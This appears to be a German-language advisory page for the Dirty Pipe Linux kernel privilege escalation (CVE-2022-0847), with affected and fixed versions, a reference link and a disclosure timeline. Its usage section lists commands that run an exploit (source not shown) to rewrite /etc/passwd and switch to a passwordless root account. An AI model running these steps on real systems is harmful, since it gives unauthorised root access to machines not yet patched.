CVE-2022-0847

Informationen

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

Ausnutzung

Testumgebung:

Lokale Privilegieneskalation

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

Referenzen

https://dirtypipe.cm4all.com/

Zeitplan

• 2021-04-29: erstes Support-Ticket wegen Dateikorruption
• 2022-02-19: Problem der Dateikorruption als Linux-Kernel-Fehler identifiziert, der sich als ausnutzbare Sicherheitslücke herausstellte
• 2022-02-20: Fehlerbericht, Exploit und Patch an das Linux-Kernel-Sicherheitsteam gesendet
• 2022-02-21: Fehler auf Google Pixel 6 reproduziert; Fehlerbericht an das Android-Sicherheitsteam gesendet
• 2022-02-21: Patch an LKML gesendet (ohne Schwachstellendetails) wie von Linus Torvalds, Willy Tarreau und Al Viro vorgeschlagen
• 2022-02-23: Linux-Stable-Releases mit meinem Fehlerbehebung (5.16.11, 5.15.25, 5.10.102)
• 2022-02-24: Google führt meinen Fehlerbehebung in den Android-Kernel ein
• 2022-02-28: die linux-distros-Mailingliste benachrichtigt
• 2022-03-07: öffentliche Offenlegung